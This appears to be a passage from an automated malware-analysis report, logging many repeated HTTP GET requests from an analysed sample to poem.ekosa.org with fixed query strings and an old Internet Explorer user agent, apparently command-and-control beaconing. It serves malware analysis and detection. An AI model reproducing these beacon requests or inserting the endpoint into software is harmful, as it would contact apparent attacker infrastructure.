Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
